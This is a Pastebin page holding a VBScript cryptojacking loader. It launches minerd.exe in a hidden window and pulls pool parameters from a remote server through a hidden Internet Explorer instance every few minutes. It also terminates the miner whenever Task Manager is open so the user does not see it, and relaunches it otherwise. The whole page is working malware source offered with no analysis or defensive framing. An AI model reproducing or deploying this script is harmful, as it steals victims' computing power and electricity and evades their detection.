Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- On Error Resume Next
- Set fso = CreateObject("Scripting.FileSystemObject")
- Dim oShell : Set oShell = CreateObject("WScript.Shell")
- oShell.CurrentDirectory = fso.GetFile(Wscript.ScriptFullName).ParentFolder
- '=================================================================================================
- oldparams = " -o http://REMOVED:REMOVED -u REMOVED -p REMOVED"
- params = " -o http://REMOVED:REMOVED -u REMOVED -p REMOVED"
- Set IE = CreateObject("InternetExplorer.Application")
- IE.visible = 0
- IE.navigate "http://REMOVED/REMOVED?key=" & uniq
- WScript.Sleep 500
- Do While IE.Busy
- WScript.Sleep 5000
- Exit Do
- loop
- HTTPGet = IE.document.body.innertext
- IE.quit
- Set IE = Nothing
- If not isEmpty(HTTPGet) Then
- params = HTTPGet
- End If
- Set HTTPGet = Nothing
- start = DateDiff("s", "01/01/1970 00:00:00", Now)
- CreateObject("Wscript.Shell").Run "minerd.exe " & params, 0, false
- '=================================================================================================
- Const strComputer = "."
- Dim objWMIService, colProcessList
- Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
- Dim objWMIService2, colProcessList2
- Set objWMIService2 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
- Do While 1 > 0
- needrestart=0
- if (DateDiff("s", "01/01/1970 00:00:00", Now) - start > 300) Then
- start = DateDiff("s", "01/01/1970 00:00:00", Now)
- Set IE = CreateObject("InternetExplorer.Application")
- IE.visible = 0
- IE.navigate "http://REMOVED/REMOVED?key=" & uniq
- WScript.Sleep 500
- Do While IE.Busy
- WScript.Sleep 5000
- Exit Do
- loop
- HTTPGet = IE.document.body.innertext
- IE.quit
- Set IE = Nothing
- If ( not isEmpty(HTTPGet) ) Then
- params = HTTPGet
- if ( StrComp(params,oldparams) <> 0 ) Then
- oldparams = params
- needrestart=1
- End If
- End If
- Set HTTPGet = Nothing
- End If
- '
- Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'taskmgr.exe'")
- taskmgr=0
- For Each objProcess in colProcessList
- taskmgr=taskmgr+1
- Next
- If taskmgr > 0 or needrestart > 0 Then
- Set colProcessList2 = objWMIService2.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'minerd.exe'")
- For Each objProcess2 in colProcessList2
- objProcess2.Terminate()
- Next
- WScript.Sleep 30000 - 25000*needrestart
- needrestart = 0
- Else
- Set colProcessList2 = objWMIService2.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'minerd.exe'")
- minerd=0
- For Each objProcess2 in colProcessList2
- minerd=minerd+1
- Next
- If minerd<1 Then
- CreateObject("Wscript.Shell").Run "minerd.exe " & params, 0, false
- 'WScript.Echo "Restarted with " & params
- End If
- End If
- WScript.Sleep 1000
- Loop
- 'U Y RDN MY COD?
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement